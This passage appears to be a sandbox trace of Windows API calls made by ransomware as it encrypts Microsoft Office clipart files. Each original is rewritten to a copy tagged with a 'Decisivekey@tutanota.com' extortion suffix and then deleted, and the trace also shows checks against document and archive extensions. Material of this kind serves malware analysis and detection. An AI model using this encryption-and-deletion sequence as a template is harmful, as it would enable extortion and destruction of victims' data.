office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.201] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.201] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.201] GetLastError () returned 0x0 [0216.201] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x131e, lpOverlapped=0x0) returned 1 [0216.210] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1320, lpOverlapped=0x0) returned 1 [0216.211] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.211] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.211] SetEndOfFile (hFile=0x20c) returned 1 [0216.211] CloseHandle (hObject=0x20c) returned 1 [0216.211] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.211] SetEndOfFile (hFile=0x194) returned 1 [0216.212] CloseHandle (hObject=0x194) returned 1 [0216.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0216.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0216.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0216.213] lstrlenW (lpString=".doc") returned 4 [0216.213] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.213] lstrlenW (lpString=".docx") returned 5 [0216.213] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.213] lstrlenW (lpString=".pdf") returned 4 [0216.213] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.213] lstrlenW (lpString=".xls") returned 4 [0216.213] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.213] lstrlenW (lpString=".xlsx") returned 5 [0216.213] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.213] lstrlenW (lpString=".ppt") returned 4 [0216.213] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0216.213] lstrlenW (lpString=".zip") returned 4 [0216.213] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.213] lstrlenW (lpString=".rar") returned 4 [0216.213] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.213] lstrlenW (lpString=".bz2") returned 4 [0216.213] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.213] lstrlenW (lpString=".7z") returned 3 [0216.213] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0216.213] lstrlenW (lpString=".dbf") returned 4 [0216.213] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0216.213] lstrlenW (lpString=".1cd") returned 4 [0216.213] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0216.213] lstrlenW (lpString=".jpg") returned 4 [0216.213] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.213] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=5016) returned 1 [0216.213] CloseHandle (hObject=0x194) returned 1 [0216.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0216.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.214] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.214] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.214] GetLastError () returned 0x0 [0216.214] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x1398, lpOverlapped=0x0) returned 1 [0216.238] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x13a0, lpOverlapped=0x0) returned 1 [0216.239] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.239] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.239] SetEndOfFile (hFile=0x20c) returned 1 [0216.240] CloseHandle (hObject=0x20c) returned 1 [0216.240] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.240] SetEndOfFile (hFile=0x194) returned 1 [0216.240] CloseHandle (hObject=0x194) returned 1 [0216.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0216.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0216.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0216.241] lstrlenW (lpString=".doc") returned 4 [0216.241] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.241] lstrlenW (lpString=".docx") returned 5 [0216.241] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.241] lstrlenW (lpString=".pdf") returned 4 [0216.241] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.241] lstrlenW (lpString=".xls") returned 4 [0216.241] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.241] lstrlenW (lpString=".xlsx") returned 5 [0216.241] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.241] lstrlenW (lpString=".ppt") returned 4 [0216.241] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0216.241] lstrlenW (lpString=".zip") returned 4 [0216.241] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.241] lstrlenW (lpString=".rar") returned 4 [0216.241] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.241] lstrlenW (lpString=".bz2") returned 4 [0216.241] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.241] lstrlenW (lpString=".7z") returned 3 [0216.241] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0216.241] lstrlenW (lpString=".dbf") returned 4 [0216.241] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0216.241] lstrlenW (lpString=".1cd") returned 4 [0216.241] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0216.241] lstrlenW (lpString=".jpg") returned 4 [0216.241] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.242] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3026) returned 1 [0216.242] CloseHandle (hObject=0x194) returned 1 [0216.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 0x20 [0216.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.243] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.243] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.243] GetLastError () returned 0x0 [0216.243] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xbd2, lpOverlapped=0x0) returned 1 [0216.264] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xbe0, lpOverlapped=0x0) returned 1 [0216.264] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.264] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.264] SetEndOfFile (hFile=0x20c) returned 1 [0216.265] CloseHandle (hObject=0x20c) returned 1 [0216.265] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.265] SetEndOfFile (hFile=0x194) returned 1 [0216.265] CloseHandle (hObject=0x194) returned 1 [0216.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0216.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0216.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0216.266] lstrlenW (lpString=".doc") returned 4 [0216.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.266] lstrlenW (lpString=".docx") returned 5 [0216.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.266] lstrlenW (lpString=".pdf") returned 4 [0216.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.266] lstrlenW (lpString=".xls") returned 4 [0216.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.266] lstrlenW (lpString=".xlsx") returned 5 [0216.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.266] lstrlenW (lpString=".ppt") returned 4 [0216.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0216.266] lstrlenW (lpString=".zip") returned 4 [0216.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.266] lstrlenW (lpString=".rar") returned 4 [0216.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.266] lstrlenW (lpString=".bz2") returned 4 [0216.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.266] lstrlenW (lpString=".7z") returned 3 [0216.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0216.266] lstrlenW (lpString=".dbf") returned 4 [0216.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0216.266] lstrlenW (lpString=".1cd") returned 4 [0216.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0216.266] lstrlenW (lpString=".jpg") returned 4 [0216.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.267] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=10832) returned 1 [0216.267] CloseHandle (hObject=0x194) returned 1 [0216.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0216.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.274] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.274] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.274] GetLastError () returned 0x0 [0216.274] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x2a50, lpOverlapped=0x0) returned 1 [0216.326] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0216.327] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.327] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.327] SetEndOfFile (hFile=0x20c) returned 1 [0216.327] CloseHandle (hObject=0x20c) returned 1 [0216.327] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.327] SetEndOfFile (hFile=0x194) returned 1 [0216.328] CloseHandle (hObject=0x194) returned 1 [0216.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0216.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0216.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0216.330] lstrlenW (lpString=".doc") returned 4 [0216.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.330] lstrlenW (lpString=".docx") returned 5 [0216.330] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.330] lstrlenW (lpString=".pdf") returned 4 [0216.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.330] lstrlenW (lpString=".xls") returned 4 [0216.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.330] lstrlenW (lpString=".xlsx") returned 5 [0216.330] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.330] lstrlenW (lpString=".ppt") returned 4 [0216.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0216.330] lstrlenW (lpString=".zip") returned 4 [0216.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.330] lstrlenW (lpString=".rar") returned 4 [0216.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.330] lstrlenW (lpString=".bz2") returned 4 [0216.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.330] lstrlenW (lpString=".7z") returned 3 [0216.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0216.330] lstrlenW (lpString=".dbf") returned 4 [0216.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0216.330] lstrlenW (lpString=".1cd") returned 4 [0216.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0216.330] lstrlenW (lpString=".jpg") returned 4 [0216.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.331] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1832) returned 1 [0216.331] CloseHandle (hObject=0x194) returned 1 [0216.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0216.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.331] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.331] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.331] GetLastError () returned 0x0 [0216.331] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x728, lpOverlapped=0x0) returned 1 [0216.342] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x730, lpOverlapped=0x0) returned 1 [0216.342] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.342] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.343] SetEndOfFile (hFile=0x20c) returned 1 [0216.343] CloseHandle (hObject=0x20c) returned 1 [0216.343] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.343] SetEndOfFile (hFile=0x194) returned 1 [0216.343] CloseHandle (hObject=0x194) returned 1 [0216.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 